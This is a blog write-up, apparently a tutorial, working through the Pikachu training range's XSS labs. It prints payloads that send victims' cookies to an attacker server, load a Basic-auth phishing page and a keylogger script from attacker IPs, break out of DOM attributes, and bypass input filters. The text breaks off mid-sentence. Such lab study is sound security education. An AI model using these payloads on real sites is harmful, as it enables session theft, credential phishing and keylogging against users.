Pikachu靶场之XSS

Comments

Pikachu靶场之XSS

XSS

简介：

​ XSS是一种发生在Web前端的漏洞，所以其危害的对象也主要是前端用户

XSS漏洞可以用来进行钓鱼攻击、前端js挖矿、盗取用cookie，甚至对主机进行远程控制

攻击流程：

1.假设存在漏洞的是一个论坛，攻击者将恶意的JS代码通过XSS漏洞插入到论文的某一页面中

2.当用户访问这个页面时，都会执行这个恶意的JS代码，这个代码就会在用户的浏览器端执行

XSS攻击类型

危害：存储型 > 反射型 > DOM型

  • 反射型：交互的数据一般不会被存在数据库里面，一次性，所见即所得，一般出现在查询页面等
  • 存储型：交互的数据会被存在数据库里面，永久性存储，一般出现在留言板，注册等页面
  • DOM型：不与后台服务器产生数据交互，是一种通过DOM操作前端代码输出的时候产生的问题，一次性，也属于反射型

XSS形成原因

主要原因是程序中输入和输出的控制不够严格，导致“精心构造”的脚本输入后，在输出到前端时被浏览器当作有效代码解析执行

XSS漏洞测试流程：

  1. 在目标上找输入点，比如输入框、留言板等任何输入的地方
  2. 输入一组 “特殊字符（>，’，”等）+唯一识别字符” ，点击提交后，查看返回源码，看后端返回的数据是否有处理
  3. 通过搜索定位到唯一字符，结合唯一字符前后语法确定是否可以构造执行js的条件（构造闭合）
  4. 提交构造的脚本代码（以及各种绕过姿势），看是否可以成功执行，如果成功执行则说明存在XSS漏洞

开始做题

反射型XSS(GET)

image-20211128164024617

打开开发者工具，定位代码插入位置进行分析。

image-20211128164057254

可以看到，我们输入的内容一字不漏得插入到

标签里面。这时候我们测试一下js代码，看下是否执行。

payload：

1
<script>alert("xss")</script>

发现前端对输入的字符长度做了限制，直接用F12修改一下

image-20211128164601414

将我们的payload输入进去看看

直接弹窗

image-20211128164727960

证明是确实存在XSS漏洞

那么我们应该怎么利用这个XSS漏洞呢？下面做个小实验：

攻击机：192.168.177.1（windows）

有XSS漏洞的服务器：192.168.79.133（ubantu）

受害者：192.168.79.132（kali）

环境搭建：

1.在攻击机192.168.177.1上搭好Pikachu的XSS后台

2.在服务器192.168.79.133搭好Pikachu靶场（我部署在9002端口）

3.确保三台机器能互通

攻击开始：

攻击者：

  • 修改/pikachu-master/pkxss/xcookie/cookie.php文件，将IP地址改成有漏洞的服务器

image-20211128154621980

  • cookie.php用于接受受害者的cookie并将受害者重定向到漏洞服务器的index.php页面。（模仿实际场景中的收信任的服务器）

攻击者让受害者在有漏洞的输入框输入恶意JS代码，就可以实现攻击的目的。

  • payload：

    1
    <script>document.location = 'http://192.168.177.1/pikachu-master/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

但是这又存在一个问题，如何让受害者将这些奇奇怪怪的恶意JS代码输入输入框内呢要是叫受害者自己复制这段payload输入进去，傻子才理你呢）？

由于这是GET类型的XSS漏洞，我们可以直接构造一个URL诱骗受害者点击。这样更能贴近实际攻击场景

1
http://192.168.79.133:9002/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F192.168.177.1%2Fpikachu-master%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit

可以看到成功将受害者的cookie反弹给攻击者

image-20211128155347708

反射型XSS(POST)

进入post型xss界面，需要我们登录。默认账号admin 密码123456

image-20211128215118333

进入之后呢，是一个输入框。

image-20211128215151194

这时候，我们输入的东西已经不会通过URL传入了。它是以POST的方式提交表单。我们可以抓个包分析一下数据

image-20211128215335079

可以看到，我们的数据是通过信息体传递。这时候应该怎么攻击呢？

攻击思路和GET型是一样的，就是让受害者在有漏洞的服务器上执行攻击者的恶意代码，将cookie反弹给攻击者的服务器。攻击者现在要想的就是：如何让受害者在不经意间在有漏洞的服务器上执行恶意代码。

因为这个是POST型的XSS，所以攻击者可以在自己服务器上放一个自己构造的post表单，此表单功能是重定向到受害者的信任网站的同时，自动向有漏洞的服务器提交post表单，从而将受害者反弹cookie给自己。

那么，可以参考/pikachu/pkxss/xcookie路径下的post.html

image-20211128222814921

当受害者点击访问攻击者服务器中的post表单后，就完成攻击。

1
http://192.168.177.1/pikachu-master/pkxss/xcookie/post.html

image-20211128222916470

存储型XSS

存储型XSS和反射型XSS形成的原因是一样的，不同的是存储型XSS下攻击者的可以将脚本注入到后台存储起来，构成更加持久的危害

image-20211128223138980

我们试试，存不存在字符过滤

image-20211128223227197

很明显，不会对输入的字符进行过滤。并且通过观察，结果长期存在，并且插入到

标签中。

image-20211128223351116

输入经典payload测试一下是否存在xss漏洞：

1
<script>alert("chickenmushroom")</script>

image-20211128223538399

确实存在xss漏洞。

案例一：利用留言js脚本，盗取cookie

那么攻击者在服务器上留言一个恶意代码，当受害者访问留言板的时候，就会自动执行并提交。下面进行实验

1
2
3
<script>
document.location = 'http://192.168.177.1/pikachu-master/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
	</script>

提交后，当受害者访问留言板时，就自动执行了恶意代码，被攻击。

image-20211128224142834

案例二：xss+钓鱼

我们这里用一个Basic认证去做这个钓鱼攻击

我们在一个存在XSS漏洞的页面上面嵌入一个恶意请求，当用户打开这个页面时

这个页面就会像攻击者的服务器发送请求，这个请求会返回一个Basic认证的头部

这时候会弹出一个提示框，要求受害者输入账号密码，从而盗取用户的账号密码

首先，攻击者需要构造一个钓鱼页面，用来发送Basic认证的输入框

这里就直接用现成的。修改/pikachu-master/pkxss/xfish/fish.php文件

image-20211128230045244

构造Payload如下：

1
<script src="http://192.168.177.1/pikachu-master/pkxss/xfish/fish.php"></script>

当受害者访问留言板：

image-20211128230444152

可是实验到这里，出了问题。受害者在输入了账号密码之后，还一直在弹窗。而且数据也没反弹给攻击机，这就有点疑惑了。后面我看了这篇文章才知道原因。。原因出现在了PHPstudy这个环境。详情看文章

后面我修改了实验环境。如下：

攻击者：192.168.79.132(kali)

受害者：192.168.123.169(windows)

有漏洞的服务器:192.168.79.133(ubantu)

修改攻击机的xfish.php

image-20211129212631252

在服务器上留言payload：

1
<script src="http://192.168.79.132:9002/pkxss/xfish/fish.php"></script>

image-20211129212510260

案例三：键盘记录

实验前，先了解一下什么是跨域：

1.当协议、主机（主域名、子域名）、端口中的任意一个不同时，称为不同域

2.我们把不同域之间请求数据的操作，称为跨域操作

同源策略：

为了安全考虑，所有的浏览器都约定了“同源策略”。同源策略规定：

  • 两个不同域之间不能使用JS进行互相操作

    比如：x.com 域名下的 JS 并不能操作 y.com 域下的对象

    如果想要跨域操作，则需要管理员进行特殊配置

    比如通过头里面：header(“Access-Control-Allow-Origin:x/com”) 指定跨域的地址

    下面的标签跨域加载资源（资源类型时有限制的）是不受同源策略限制的

  • <script src=”…”>，JS加载到本地执行

  • <img src=”..”>，图片

  • <link href=”..”>，CSS

  • <iframe src=”..”>，任意资源

为什么要同源策略？

A登录了淘宝，攻击者向A发送了一个恶意链接http://盗取cookie

如果没有同源策略，url上的js恶意操作A的内容

有了同源策略，就限制了这种状况

或者，一个恶意站点A使用了 <iframe src=”B站点登录界面”> ，发送该恶意 url 给受害者

如果受害者浏览器如果没有同源策略，那么 A 上的 JS 即可获取 B 站点的登录信息

下面进行实验演示：

攻击机：ubantu:192.168.79.133:90002

受害者：Windows:192.168.123.169

修改pkxss/rkeypress下的rk.js的ip地址

image-20211205135450449

并在存储型xss中留下恶意代码

1
<script src= "http://192.168.79.133:9002/pkxss/rkeypress/rk.js"></script>

受害者访问http://192.168.79.133:9002/vul/xss/xss_stored.php时,打开控制台就可以看到一直在报错

image-20211205135744562

但是输入的东西已经在攻击机上了.

image-20211205135807780

image-20211205135821250

DOM型XSS

首先，得了解什么是DOM？

我的理解就是，DOM为我们访问和操作HTML所有元素提供入口。

官方解释：https://www.w3school.com.cn/js/js_htmldom.asp

image-20211130223657118

在pikachu靶场DOM型XSS实验一下：

image-20211130223756089

可以看到，前面的东西被吞了。看一下源码，发现前端有一个函数对我们的输入进行处理：

image-20211130223903239

功能就是将我们在输入框里输入的内容拼接进a标签的href属性里面。我们可控的就是这个str。

image-20211130224156593

那么我们就可以输入一个单引号'闭合前面的单引号，逃逸出href属性。后面就能实现我们想要的代码比如:

1
onclick="alert('xss')"

然后在后面加一个>，闭合前面的a标签。最终形成payload：

1
' onclick="alert('xss')">

image-20211130224455424

点击蓝色字体就可以实现入侵。

image-20211130224521976

造成DOM型XSS的原因是前端的输入被DOM给获取到了，通过DOM又在前端输出，跟反射型和存储型比起来，它是不经过后台交互的

DOM型XSS-X

分析源码,有一个domxss方法

image-20211205140638219

功能就是,从url中获取内容赋值给str.

然后经过经过url解码和分隔,取出url中参数的内容

再将内容的+号替换为空,赋值给xss变量

最后将xss变量拼接进id为dom的标签中

这个和前面的DOM型XSS很像,只是获取输入数据的方式不同.这个是从URL中获取输入内容,构造的Payload跟刚才是一样的.

1
' onclick="alert('xss')">

image-20211205141105893

XSS之盲打

XSS盲打是一个攻击场景.我们在输入内容时,发现输入的内容并不会返回在前端显示.那么我们就猜测,输入的内容会输入保存在后端,当管理员登录后台,打开查看的时候可能会遭到我们的XSS攻击.

实验开始:

我们在输入框内输入恶意代码:

1
<script>alert("chickenmushroom")</script>

当管理员登录后台查看的时候,就被攻击了

http://192.168.79.133:9002/vul/xss/xssblind/admin.php

image-20211205141452588

XSS之过滤

真实场景中,或多或少都会对输入的内容进行过滤防护.那么我们应该怎样绕过过滤呢?

通常的思路:

转换绕过思路:

  • 前端限制绕过，直接抓包重放，或者修改html前端代码。比如反射型XSS(get)中限制输入20个字符。
  • 大小写，比如<SCRIPT>aLeRT(111)</sCRIpt>。后台可能用正则表达式匹配，如果正则里面只匹配小写，那就可能被绕过。
  • 双写（拼凑），<scri<script>pt>alert(111)</scri</script>pt>。后台可能把<script>标签去掉换，但可能只去掉一次。
  • 注释干扰，<scri<!–test–>pt>alert(111)</sc<!–test–>ript>。加上注释后可能可以绕过后台过滤机制。

编码绕过思路:

  • 后台过滤了特殊字符，比如